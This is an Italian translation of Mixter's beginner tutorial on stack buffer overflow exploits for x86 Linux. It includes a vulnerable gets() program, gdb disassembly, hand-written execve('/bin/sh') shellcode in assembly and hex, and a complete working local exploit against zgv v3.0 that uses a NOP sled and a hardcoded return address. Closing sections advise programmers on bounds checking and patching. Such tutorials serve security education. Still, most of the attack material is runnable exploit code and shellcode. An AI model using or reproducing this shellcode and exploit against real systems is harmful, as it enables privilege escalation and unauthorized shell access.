INTRO: Questo tutorial non è altro che la traduzione più fedele possibile dell’articolo: “Writing buffer overflow exploits - a tutorial for beginners” scritto da   Mixter.
DISCLAIMERZ: Questa è solo una traduzione di un “Tutorial” scritto da terzi, quindi se per caso vi sentite in qualche modo offesi da quanto scritto, siete liberi di distruggere il documento dal vostro HD. Il traduttore, True-love , non si assume nessuna responsabilità per l’uso che ne verrà fatto di questa traduzione.

INIZIO TRADUZIONE

Writing buffer overflow exploits - a tutorial for beginners

(Scrivendo exploit di buffer overflow – un tutorial per i principianti)

===========================================================

Security papers - members.tripod.com/mixtersecurity/papers.html
I Buffer Overflow dipendono dall’input dell’utente, i buffer sono diventati uno dei più grandi problemi di sicurezza in internet e nella informatica moderna in generale. Questo perché tale errore può essere facilmente creato a livello di programmazione, e sebbene è invisibile per l’utente che non capisce o che non può ottenere il codice sorgente, molti di questi errori sono facili da sfruttare. Questo giornale tenta di insegnare al principiante – un programmatore C medio, in che modo può provare che è fruttabile.
Mixter

1. Memoria
Note: Nella maniera qui descritta, la memoria è organizzata per un processo in molti computer, tuttavia dipendono dal tipo di architettura del processore. Questo esempio è per x86 e per le altre applicazioni che interessano aspramente.
Il principio di sfruttamento di un buffer overflow è quello di soprascrivere parte della memoria che non è pensata per essere soprascritta da input arbitrari e creando l’esecuzione dei processi a questo codice. Per vedere dove e come un overflow prende posto, diamo uno sguardo a come è organizzata la memoria. Una pagina è parte della memoria che usa i suoi relativi indirizzamenti, significando le allocazioni di memoria iniziali del kernel per il processo, il quale dopo può accedervi senza conoscere dove la memoria è localizzata fisicamente nella RAM. I processi di memoria si racchiudono in tre sezioni:
· Data segment, spazio per variabili e buffer dinamici

· Stack segment, il quale è usato per passare dati (argomenti) alle funzioni e allo stesso modo per spazio alle variabili delle funzioni. Il fondo (inizio) dello stack di solito risiede  molto alla fine della memoria virtuale della pagina, e ingrandisce sotto. Il comando assembler PUSHL lo aggiungerà all’inizio dello stack, e POPL toglierà un informazione dall’inizio dello stack e lo inserirà in un registro. Per accedere direttamente allo stack di memoria, c’è lo stack pointer che punta all’inizio (gli indirizzi di memoria più bassi) dello stack.

2. Funzioni

Una funzione è un pezzo di codice nel code segment, che è chiamato, a compiere un compito, e dopo torna alla prima trama dell’esecuzione. Alternativamente, gli argomenti posso essere passati a una funzione. In assembler, di solito è come questo (esempio molto semplice, tanto per avere un idea):
memory address

code

0x8054321 <main+x>
pushl $0x0

0x8054322

call $0x80543a0 <function>

0x8054327

ret

0x8054328

leave

...

0x80543a0 <function>
popl %eax

0x80543a1

addl $0x1337,%eax

0x80543a4

ret

Cosa succede qui? La funzione principale chiama la funzione (0); la variabile è 0, innanzi tutto lo inserisce dentro lo stack,  e chiama la funzione. La funzione prende le variabili dallo stack usando popl. Dopo finendo, ritorna a 0x8054327. Usualmente, la funzione principale vuole sempre inserire  il registro EBP nello stack, che immagazzinano la funzione, e dopo finendo lo reinstaura.  Questo è il concetto della struttura del pointer, che permette alla funzione di usare il proprio offset per l’indirizzamento, che non è molto interessante al momento distribuendolo con gli exploit, perché la funzione non ritornerà in nessun modo all’esecuzione originale della trama. :-)
Appena sappiamo dove guarda quello stack. All’inizio, abbiamo i buffer interni e la variabile della funzione. Dopo questo, c’è il registro EBP salvato (32 bit, che è 4 byte), e dopo il “return address”, che è ancora 4 byte. Più sotto, ci sono gli argomenti passati alla funzione, che non ci interessano.

In questo caso il nostro “return address” è 0x8054327. E’ immagazzinato automaticamente nello stack quando la funzione è chiamata. Questo “return address” può essere soprascritto, e cambiato da un punto a qualunque punto nella memoria, se c’è un overflow da qualche parte nel codice.

3. Esempio di un programma sfruttabile

Si suppone che abbiamo una funzione come questa:


void lame (void) { char small[30]; gets (small); printf("%s\n", small); }


main() { lame (); return 0; }
Compilalo e disassemblalo:

# cc -ggdb blah.c -o blah

/tmp/cca017401.o: In function `lame':

/root/blah.c:1: the `gets' function is dangerous and should not be used.

# gdb blah

/* short explanation: gdb, the GNU debugger is used here to read the

   binary file and disassemble it (translate bytes to assembler code) */

(gdb) disas main

Dump of assembler code for function main:

0x80484c8 <main>:       pushl  %ebp

0x80484c9 <main+1>:     movl   %esp,%ebp

0x80484cb <main+3>:     call   0x80484a0 <lame>

0x80484d0 <main+8>:     leave

0x80484d1 <main+9>:     ret

(gdb) disas lame

Dump of assembler code for function lame:

/* saving the frame pointer onto the stack right before the ret address */

0x80484a0 <lame>:       pushl  %ebp

0x80484a1 <lame+1>:     movl   %esp,%ebp

/* enlarge the stack by 0x20 or 32. our buffer is 30 characters, but the

   memory is allocated 4byte-wise (because the processor uses 32bit words)

   this is the equivalent to: char small[30]; */

0x80484a3 <lame+3>:     subl   $0x20,%esp

/* load a pointer to small[30] (the space on the stack, which is located

   at virtual address 0xffffffe0(%ebp)) on the stack, and call

   the gets function: gets(small); */

0x80484a6 <lame+6>:     leal   0xffffffe0(%ebp),%eax

0x80484a9 <lame+9>:     pushl  %eax

0x80484aa <lame+10>:    call   0x80483ec <gets>

0x80484af <lame+15>:    addl   $0x4,%esp

/* load the address of small and the address of "%s\n" string on stack

   and call the print function: printf("%s\n", small); */

0x80484b2 <lame+18>:    leal   0xffffffe0(%ebp),%eax

0x80484b5 <lame+21>:    pushl  %eax

0x80484b6 <lame+22>:    pushl  $0x804852c

0x80484bb <lame+27>:    call   0x80483dc <printf>

0x80484c0 <lame+32>:    addl   $0x8,%esp

/* get the return address, 0x80484d0, from stack and return to that address.

   you don't see that explicitly here because it is done by the CPU as 'ret' */

0x80484c3 <lame+35>:    leave

0x80484c4 <lame+36>:    ret
End of assembler dump
3a. “Overflaudando” il programma

# ./blah

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
<- user input

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

# ./blah

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Segmentation fault (core dumped)

# gdb blah core

(gdb) info registers

     eax:       0x24          36

     ecx:  0x804852f   134513967

     edx:        0x1           1

     ebx:   0x11a3c8     1156040

     esp: 0xbffffdb8 -1073742408

     ebp:   0x787878     7895160 

              ^^^^^^

EBP è 0x787878, questo significa che abbiamo scritto molti più dati di quelli che poteva contenere l’input buffer. 0x78 è la rappresentazione in hex di “x”. Il processo ha un buffer massimo di 32 bytes. Abbiamo scritto molti dati nella memoria che nell’allocazione dell’input per l’utente e quindi soprascrivendo EBP e “return address” con “xxxx”, il processo ha provato a riprendere l’esecuzione all’indirizzo 0x787878, che ha causato un “segmemtation fault”. 
3b. Cambiando il “return address”

Proviamo a sfruttare il programma a return al lame() invece che  al return. Abbiamo cambiato il “return address” 0x80484d0 in 0x80484cb, questo è tutto. Nella memoria, abbiamo: 32 bytes buffer space | 4 bytes saved EBP | 4 bytes RET.

Qui c’è un semplice programma che inserisce  i 4 bytes del “return address” in 1 bytes del caratteristico buffer:

main()

{

int i=0; char buf[44];

for (i=0;i<=40;i+=4)

*(long *) &buf[i] = 0x80484cb;

puts(buf);

}

# ret

ËËËËËËËËËËË,

# (ret;cat)|./blah

test

 <- user input

ËËËËËËËËËËË,test

test

 <- user input

test

Noi siamo qui, il programma andava direttamente alla funzione 2 volte. Se è presente un overflow, il “return address” della funzione può essere cambiato per alterare l’esecuzione del programma.

4. Shellcode

Gestirlo è semplice, sheelcode è un semplice comando assembler, che noi scriviamo nello stack cambiamo allo stack il “return address” in return. Usando questo metodo, possiamo inserire codice in un processo vulnerabile e dopo eseguirlo proprio nello stack.
Così, creerà un codice assembler inseribile che gira in una shell. Un comune “system call” è execve(), che carica e fa eseguire qualunque binario, terminando l’esecuzione del proceso corrente. Il manpage ci dà l’uso: int  execve  (const  char  *filename, char *const argv [], char *const envp[]);

Vediamo i dettagli del "system call" da glibc2:

# gdb /lib/libc.so.6

(gdb) disas execve

Dump of assembler code for function execve:

0x5da00 <execve>:       pushl  %ebx

/* this is the actual syscall. before a program would call execve, it would

  push the arguments in reverse order on the stack: **envp, **argv, *filename */

/* put address of **envp into edx register */

0x5da01 <execve+1>:     movl   0x10(%esp,1),%edx

/* put address of **argv into ecx register */

0x5da05 <execve+5>:     movl   0xc(%esp,1),%ecx

/* put address of *filename into ebx register */

0x5da09 <execve+9>:     movl   0x8(%esp,1),%ebx

/* put 0xb in eax register; 0xb == execve in the internal system call table */

0x5da0d <execve+13>:    movl   $0xb,%eax

/* give control to kernel, to execute execve instruction */

0x5da12 <execve+18>:    int    $0x80

0x5da14 <execve+20>:    popl   %ebx

0x5da15 <execve+21>:    cmpl   $0xfffff001,%eax

0x5da1a <execve+26>:    jae    0x5da1d <__syscall_error>

0x5da1c <execve+28>:    ret

End of assembler dump.
4a. Creando il codice portatile.

Dobbiamo applicare un trucco per essere capaci di creare shellcode senza avere le referenze degli argomenti in memoria nel modo convenzionale, dando i loro esatti indirizzi alla “memory page”, che può solo essere fatto al “compile time”.
Una volta possiamo stimare la grandezza dello shellcode, le istruzioni jmp <bytes>            e call <bytes> per andare a un numero di bytes dietro o al quarto nella trama dell’esecuzione. Perché usiamo una call? Abbiamo l’opportunità che una CALL automaticamente immagazzinerà il “return address” nello stack, il “return address” è il prossimo 4 bytes dopo la l’istruzione CALL. Posizionando una giusta variabile dietro la call, indirettamente spingiamo il suo indirizzo nello stack senza averlo conosciuto. 

0   jmp <Z>     (skip Z bytes forward)

2   popl %esi

... put function(s) here ...

Z   call <-Z+2> (skip 2 less than Z bytes backward, to POPL)

Z+5 .string     (first variable)
(Nota: Se vai a scrivere codice molto complesso di quello per la deposizione delle uova in una semplice shell, puoi inserire molto più di una stringa dietro al codice. Conosci la grandezza di queste stringhe e puoi dunque calcolare la sue relative localizzazioni una volta che hai saputo dove è localizzata la prima stringa.)
4b. La shellcode

global code_start

/* we'll need this later, dont mind it */

global code_end


.data

code_start:


jmp  0x17


popl %esi


movl %esi,0x8(%esi)
/* put address of **argv behind shellcode,





   0x8 bytes behind it so a /bin/sh has place */


xorl %eax,%eax

/* put 0 in %eax */


movb %eax,0x7(%esi)
/* put terminating 0 after /bin/sh string */


movl %eax,0xc(%esi)
/* another 0 to get the size of a long word */

my_execve:


movb $0xb,%al

/* execve(         */


movl %esi,%ebx

/* "/bin/sh",      */


leal 0x8(%esi),%ecx
/* & of "/bin/sh", */


xorl %edx,%edx

/* NULL

   */


int $0x80

/* );

   */


call -0x1c


.string "/bin/shX"
/* X is overwritten by movb %eax,0x7(%esi) */

code_end:
(I relative offset 0x17 e -0x1c può essere guadagnato inserendo in 0x0, compilando, disassemblando e dopo guardando alla grandezza della shell code.)

Questo è già un shellcode funzionante, però molto minimale. Dovresti almeno disassemblare la exit() syscall e allegarcela (prima della “call”). La vera arte di creare shellcode consiste anche nell’evitare alcuni binari zero nel codice (indicando la fine di input/buffer molto prima) e modificandolo per esempio, così il binario non potrà reprimere controlli o bassi caratteri, che vorrebbe filtrarli da alcuni programmi vulnerabili.
Molto di questo materiale è fatto da codice auto-modificabile, come avevamo nell’istruzione movb %eax,0x7(%esi). Abbiamo cambiato le X con \0, ma senza avere inizialmente uno \0 nello shellcode…
Testiamo questo codice…salviamo sopra il codice come Code.S (rimuovi i commenti) e il file seguente come Code.c:

extern void code_start();

extern void code_end();

#include <stdio.h>

main() { ((void (*)(void)) code_start)(); }

# cc -o code code.S code.c

# ./code

bash#

Ora puoi convertire la shellcode a un hex char buffer.

Il miglior modo di fare questo è, stampandolo:

#include <stdio.h>

extern void code_start(); extern void code_end();

main() { fprintf(stderr,"%s",code_start); }
e…….. attraverso ancov -h o bin2c.pl, questo tool può essere trovato a:
http://www.dec.net/~dhg o http://members.tripod.com/mixtersecurity
5. Scrivendo un exploit

Diamo uno sguardo a come cambiare il “return address” in un punto nello shellcode inserito nello stack, e scriviamo un semplice exploit. Prederemo zgv, perché è la cosa più facile da sfruttare li :)

# export HOME=`perl -e 'printf "a" x 2000'`

# zgv

Segmentation fault (core dumped)

# gdb /usr/bin/zgv core

#0  0x61616161 in ?? ()

(gdb) info register esp

     esp: 0xbffff574 -1073744524

Allora, questo è l’inizio dello stack al crash time. E’ facile presumere che abbiamo usato questo come “return address” alla nostra shellcode.
Ora aggiungeremo qualche istruzione NOP (no operation) prima del nostro buffer, così non dobbiamo essere al 100%  corretti riguardando la predizione della partenza esatta del nostro shellcode nella memoria (o anche brute force).
La funzione ritornerà sullo stack prima della nostra shellcode, lavorando a modo suo modo attraverso i NOP fino al comando JMP iniziale, saltando alla CALL, saltando indietro al popl, ed eseguendo il nostro codice nello stack
Ricorda, lo stack appare così: all’indirizzo di memoria più basso, la parte superiore dello stack è dove ESP punta alle variabili iniziali che sono immagazzinate, cioè il buffer in zgv, che immagazzinerà le variabili dell’ambiente HOME.

Dopo questo, abbiamo il salvato EBP(4 bytes) e il “return address” della funzione precedente. Dobbiamo scrivere 8 bytes o più prima del buffer per soprascrivere il “return address”  con il nostro nuovo indirizzo nello stack.
Il buffer in zgv è grande 1024 bytes. Puoi trovarlo dando uno sguardo al codice, o cercandolo per l’iniziale subl $0x400,%esp (=1024) nella funzione vulnerabile. Ora inseriremo tutte questa parti insieme nell’exploit.
5a. Semplice exploit zgv

/*                   zgv v3.0 exploit by Mixter

          buffer overflow tutorial - http://1337.tsx.org

        sample exploit, works for example with precompiled

    redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x linux binaries */

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

/* This is the minimal shellcode from the tutorial */

static char shellcode[]=

"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"

"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

#define NOP     0x90

#define LEN     1032

#define RET     0xbffff574

int main()

{

char buffer[LEN];

long retaddr = RET;

int i;

fprintf(stderr,"using address 0x%lx\n",retaddr);

/* this fills the whole buffer with the return address, see 3b) */

for (i=0;i<LEN;i+=4)

   *(long *)&buffer[i] = retaddr;

/* this fills the initial buffer with NOP's, 100 chars less than the

   buffer size, so the shellcode and return address fits in comfortably */

for (i=0;i<(LEN-strlen(shellcode)-100);i++)

   *(buffer+i) = NOP;

/* after the end of the NOPs, we copy in the execve() shellcode */

memcpy(buffer+i,shellcode,strlen(shellcode));

/* export the variable, run zgv */

setenv("HOME", buffer, 1);

execlp("zgv","zgv",NULL);

return 0;

}

/* EOF */

We now have a string looking like this:

[ ... NOP NOP NOP NOP NOP JMP SHELLCODE CALL /bin/sh RET RET RET RET RET RET ]

While zgv's stack looks like this:

v-- 0xbffff574 is here

[     S   M   A   L   L   B   U   F   F   E   R   ] [SAVED EBP] [ORIGINAL RET]

The execution thread of zgv is now as follows:

main ... -> function() -> strcpy(smallbuffer,getenv("HOME"));

At this point, zgv fails to do bounds checking, writes beyond smallbuffer,

and the return address to main is overwritten with the return address on

the stack. function() does leave/ret and the EIP points onto the stack:

0xbffff574 nop

0xbffff575 nop

0xbffff576 nop

0xbffff577 jmp $0x24                    1

0xbffff579 popl %esi          3 <--\    |

[... shellcode starts here ...]    |    |

0xbffff59b call -$0x1c             2 <--/

0xbffff59e .string "/bin/shX"

Poviamo l’exploit...

# cc -o zgx zgx.c

# ./zgx

using address 0xbffff574

bash#
5b. Ulteriori suggerimenti sulla scrittura di exploit.

Ci sono molti programmi che sono resistenti all’exploit, ma ciò nonostante vulnerabili. Comunque, ci sono molti trucchi che puoi fare dietro filtraggi e simili. Ci sono anche altre tecniche si overflow che non necessariamente includono il cambiamento integrale del “return address”  o solo del “return adress”. Sono così chiamati “pointer overflow”, dove un pointer che alloca una funzione può essere soprascritto da un overflow, alterando il flusso dell’esecuzione dei programmi (un esempio è l’exploit RoTShB

bind 4.9), e exploit dove il “return address” punta alle shells environment pointer, dove lo shellcode è collocato, invece, nello stack (questo sconfigge i buffer molto piccoli, e le patch degli stack NON eseguibili, e può imbrogliare alcuni programmi di sicurezza, tuttavia può essere realizzato solo localmente).

Un altro argomento importante per un abile autore di shellcode è radicalmente l’auto-modificazione del codice, che inizialmente consiste solo nella riproduzione, dei caratteri “non-white upper case”, e dopo modificandolo per inserire shellcode funzionali nello tsack che lo esegue, ecc…
Non potresti mai, avere sempre alcuni binari “zero” nella tua shellcode, perché molti forse non funzioneranno se ne conterranno alcuni. M discutendo cerimoniosamente sulla certezza dei comandi assembler con gli altri si andrebbe oltre lo scopo di questo documento. Suggerisco in oltre la lettura degli altri HowTo sull’overflow oltre a questo,  scritti da aleph1, Taeoh Oh e mudge.
5c. Note importanti

Non sarai capace di usare questo tutorial su Windows o Macintosh. Non domandarmi nemmeno per cc.exe e gdb.exe! =oP
6. Conclusioni

Abbiamo studiato, che una volta è presente un overflow che  è un “user dependant”, può essere sfruttato circa il 90% delle volte, benché in alcune situazioni sia difficile sfruttarlo perfino acquisendo alcune abilità. 
Perché è importante scrivere exploit? Perché l’ignoranza è onnisciente nell’industria del software. Li hanno già riportato vulnerabilità dovute al buffer overflows nei software, attraverso i software non è stato aggiornato, o la maggior parte degli utenti non faceva aggiornamenti, perché le vulnerabilità erano difficili da sfruttare e nessuno lo credeva capace di creare un rischio di sicurezza. Poi, attualmente uscì fuori un exploit, collaudato e praticamente attivò un programma per essere sfruttabile, e lì di solito si aggiorna con grande fretta (necessariamente).
Come per il programmatore (te), è un duro compito scrivere programmi di sicurezza, ma dovrebbe essere preso in modo molto serio. Questa è specialmente una grande preoccupazione quando si stanno scrivendo server, alcuni tipi di programmi di sicurezza, o programmi che sono richiesti dai root, o disegnati per essere eseguiti dai root, alcuni account speciali, o gli stessi sistemi. Applicando “bound checking” (strn*, sn*, invece di funzioni pritf, ecc.), si preferisce allocare buffer dinamici, “input-dependant” e size; stai attento a for/while/ecc., loop che raccolgono dati e li riempiono dentro i buffer, e suggerisco di trattare con molta cura gli “user imput” che sono i principali.

Hanno fa anche notevoli sforzi nell’industria della sicurezza per prevenire problemi di overflow con tecniche come stack non-eseguibili, suid wrappers, programmi di guardia che controllano i “return address”, compilatori “bounds checking”, e altro. Dovresti saper applicare queste tecniche dove possibile , ma non contare pienamente su questo. Non credere di essere del tutto salvo, se usi una distribuzioni UNIX di 2 anni senza aggiornarla, ma protezioni di overflow o (perfino più stupido) firewalling/IDS. Non può garantirti la sicurezza, se continui ad usare programmi insicuri perché _tutti_ i programmi di sicurezza sono _software_  e possono contenere vulnerabilità di se stessi, o al minimo non essere perfetto. Se applichi frequentemente aggiornamenti _e_ misure di sicurezza, puoi persino supporre di non essere sicuro, _ma_ puoi sperare. :-)
Mixter <mixter@newyorkoffice.com>

http://members.tripod.com/mixtersecurity
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